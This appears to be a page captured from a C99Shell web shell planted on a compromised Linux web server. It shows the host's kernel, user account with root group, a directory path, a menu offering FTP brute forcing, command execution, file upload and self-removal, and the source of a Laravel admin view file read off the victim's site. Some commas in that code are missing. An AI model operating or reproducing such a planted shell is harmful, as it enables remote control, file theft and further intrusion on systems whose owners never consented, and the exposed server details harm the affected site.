!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/storage/framework/views/   drwxrwxr-x
Free 29.3 GB of 117.98 GB (24.83%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     6e7a9920a01e9761f6b2b2994ccfd9d60bef962a.php (9.74 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php $__env->startSection('title',trans('layout.category')); ?>

<?php $__env->startSection('css'); ?>

<?php $__env->stopSection(); ?>

<?php $__env->startSection('main-content'); ?>
<div class="row page-titles mx-0">
    <div class="col-sm-6 p-md-0">
        <div class="welcome-text">
            <h4><?php echo e(trans('layout.category')); ?></h4>
            <p class="mb-0"></p>
        </div>
    </div>
    <div class="col-sm-6 p-md-0 justify-content-sm-end mt-2 mt-sm-0 d-flex">
        <ol class="breadcrumb">
            <li class="breadcrumb-item"><a href="#"><?php echo e(trans('layout.home')); ?></a></li>
            <li class="breadcrumb-item active"><a href="javascript:void(0)"><?php echo e(trans('layout.category')); ?></a></li>
        </ol>
    </div>
</div>
<!-- row -->

<div class="row">
    <div class="col-lg-12">
        <div class="card">
            <div class="card-header">
                <h4 class="card-title"><?php echo e(trans('layout.list')); ?></h4>
                <div class="pull-right">
                    <button type="button" class="btn btn-sm btn-primary" data-toggle="modal"
                        data-target="#categoryCreateModal">
                        <?php echo e(trans('layout.create')); ?>

                    </button>
                </div>
            </div>
            <div class="card-body">
                <div class="table-responsive">
                    <table class="table table-responsive-md">
                        <thead class="text-center">
                            <tr>
                                <th><strong><?php echo e(trans('layout.name')); ?></strong></th>
                                <th><strong><?php echo e(trans('layout.status')); ?></strong></th>
                                <th><strong><?php echo e(trans('layout.action')); ?></strong></th>
                            </tr>
                        </thead>
                        <tbody class="text-center">
                            <?php if($categories): ?>
                            <?php $__currentLoopData $categories$__env->addLoop($__currentLoopData); foreach($__currentLoopData as $category): $__env->incrementLoopIndices(); $loop $__env->getLastLoop(); ?>
                            <tr>
                                <td><?php echo e($category->name); ?></td>
                                <td>
                                    <?php if($category->status=='active'): ?>
                                    <span class="badge light badge-success"><?php echo e(trans('layout.active')); ?></span>
                                    <?php elseif($category->status=='inactive'): ?>
                                    <span class="badge light badge-warning"><?php echo e(trans('layout.inactive')); ?></span>
                                    <?php endif; ?>
                                </td>
                                <td>
                                    <div class="dropdown">
                                        <button type="button" class="btn btn-success light sharp"
                                            data-toggle="dropdown">
                                            <svg width="20px" height="20px" viewBox="0 0 24 24" version="1.1">
                                                <g stroke="none" stroke-width="1" fill="none" fill-rule="evenodd">
                                                    <rect x="0" y="0" width="24" height="24" />
                                                    <circle fill="#000000" cx="5" cy="12" r="2" />
                                                    <circle fill="#000000" cx="12" cy="12" r="2" />
                                                    <circle fill="#000000" cx="19" cy="12" r="2" />
                                                </g>
                                            </svg>
                                        </button>
                                        <div class="dropdown-menu">
                                            <button class="dropdown-item edit_category" type="button"
                                                data-id="<?php echo e($category->id); ?>" data-name="<?php echo e($category->name); ?>"
                                                data-status="<?php echo e($category->status); ?>"
                                                data-action="<?php echo e(route('category.update'$category->id)); ?>"
                                                data-toggle="modal" data-target="#categoryEditModal">
                                                <?php echo e(trans('layout.edit')); ?>

                                            </button>
                                            <button class="dropdown-item" type="button"
                                                data-message="<?php echo e(trans('layout.message.category_delete_warning')); ?>"
                                                data-action="<?php echo e(route('category.destroy'$category->id)); ?>"
                                                data-input='{"_method":"delete"}' data-toggle="modal"
                                                data-target="#modal-confirm">
                                                <?php echo e(trans('layout.delete')); ?>

                                            </button>

                                        </div>
                                    </div>
                                </td>
                            </tr>
                            <?php endforeach; $__env->popLoop(); $loop $__env->getLastLoop(); ?>
                            <?php endif; ?>
                        </tbody>
                    </table>
                </div>
            </div>
        </div>
    </div>
</div>

<!-- Modal Create -->
<?php $__env->startSection('create-modal-id''categoryCreateModal'); ?>
<?php $__env
->startSection('create-modal-title''Category Create'); ?>
<?php $__env
->startSection('create-modal-content-wapper'); ?>
<form method="POST" action="<?php echo e(route('category.store')); ?>" enctype="multipart/form-data">

    <div class="modal-body">
        <?php echo $__env->make('category.form'\Illuminate\Support\Arr::except(get_defined_vars(), ['__data''__path']))->render(); ?>
    </div>
    <div class="modal-footer">
        <button type="button" aria-label="Close" class="btn btn-secondary" data-dismiss="modal">Close</button>
        <button type="submit" class="btn btn-primary">Submit</button>
    </div>
</form>
<?php $__env->stopSection(); ?>

<!-- Modal Edit -->
<?php $__env->startSection('edit-modal-id''categoryEditModal'); ?>
<?php $__env
->startSection('edit-modal-title''Category Edit'); ?>
<?php $__env
->startSection('edit-modal-content-wapper'); ?>
<form method="POST" id="categoryFormUpdate" enctype="multipart/form-data">
    <?php echo csrf_field(); ?>
    <?php echo method_field('PUT'); ?>
    <input type="hidden" name="id" id="edit-category-id" >

    <div class="modal-body">
        <div>
            <section>
                <div class="row">
                    <div class="col-lg-12 mb-2">
                        <div class="form-group">
                            <label class="text-label"><?php echo e(trans('layout.item_name')); ?>*</label>
                            <input type="text" name="name" id="edit-category-name"
                                   class="form-control" placeholder="Ex: Burger" required>
                        </div>
                    </div>
                    <div class="col-lg-12 mb-2">
                        <div class="form-group">
                            <label class="text-label"><?php echo e(trans('layout.image')); ?></label>
                            <div class="input-group">
                                <div class="custom-file">
                                    <input name="category_image" type="file" class="custom-file-input">
                                    <label class="custom-file-label"><?php echo e(trans('layout.choose')); ?></label>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="col-lg-12 mb-2">
                        <div class="form-group">
                            <label class="text-label"><?php echo e(trans('layout.status')); ?>*</label>
                            <select name="status" id="edit-category-status" class="form-control">
                                <option value="active"><?php echo e(trans('layout.active')); ?></option>
                                <option value="inactive"><?php echo e(trans('layout.inactive')); ?></option>
                            </select>
                        </div>
                    </div>
                </div>
            </section>
        </div>
    </div>

    <div class="modal-footer">
        <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
        <button type="submit" class="btn btn-primary">Submit</button>
    </div>
</form>

<?php $__env->stopSection(); ?>

<?php $__env->stopSection(); ?>

<?php $__env->startSection('js'); ?>
<script>
    $(document).on('click', '.edit_category', function () {
        const id = $(this).data('id');
        const name = $(this).data('name');
        const status = $(this).data('status');
        const action = $(this).data('action');

        $('#edit-category-id').val(id);
        $('#edit-category-name').val(name);
        $('#edit-category-status').val(status);
        $('#categoryFormUpdate').attr('action', action);

        $('#categoryEditModal').modal('show');
    });
</script>

<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.dashboard'\Illuminate\Support\Arr::except(get_defined_vars(), ['__data''__path']))->render(); ?><?php /**PATH /home/picotech/domains/qr.picotech.app/public_html/resources/views/category/index.blade.php ENDPATH**/ ?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--